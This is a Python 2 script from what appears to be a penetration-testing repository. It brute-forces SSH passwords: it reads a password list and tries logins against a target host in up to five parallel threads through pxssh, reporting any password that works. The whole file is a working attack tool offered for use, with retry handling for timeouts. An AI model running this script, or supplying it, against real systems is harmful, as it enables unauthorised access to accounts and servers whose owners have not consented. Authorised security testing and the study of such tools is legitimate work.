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mgeeky-Penetration-Testing-.../networks/sshbrute.py
2018-02-02 22:22:43 +01:00

75 lines
1.7 KiB
Python

#
# Pxssh driven SSH brute-forcing script.
# Based on:
# Violent Python, by TJ O'Connor
#
import pxssh
import time
import optparse
from sys import argv, exit, stdout
from threading import *
MAX_CONNS = 5
CONN_LOCK = BoundedSemaphore(value=MAX_CONNS)
FOUND = False
FAILS = 0
def send_command(s, cmd):
s.sendline(cmd)
s.prompt()
print s.before
def connect(host, user, password, release):
global FOUND
global FAILS
try:
s = pxssh.pxssh()
s.login(host, user, password)
print '\n\n[+] Password found: ' + password + '\n\n'
FOUND = True
return s
except Exception, e:
if 'read_nonblocking' in str(e):
FAILS += 1
time.sleep(3)
connect(host, user, password, False)
elif 'synchronize with original prompt' in str(e):
time.sleep(1)
connect(host, user, password, False)
finally:
if release:
CONN_LOCK.release()
def main():
if len(argv) < 4:
print 'Usage: sshbrute.py host user passwords_list'
return
host = argv[1]
user = argv[2]
passwords = [ p.strip() for p in open(argv[3]).readlines()]
i = 0
for p in passwords:
i += 1
if FOUND:
print '[*] Password found.'
exit(0)
if FAILS > 5:
print '[!] Exiting: Too many socket timeouts'
exit(0)
CONN_LOCK.acquire()
stdout.write('[?] Trying: "%s" %d/%d (%.2f%%)\r' % \
(p, i, len(passwords), float(i)/len(passwords)))
stdout.flush()
t = Thread(target=connect, args=(host, user, p, True))
t.start()
stdout.write('\n')
if __name__ == '__main__':
main()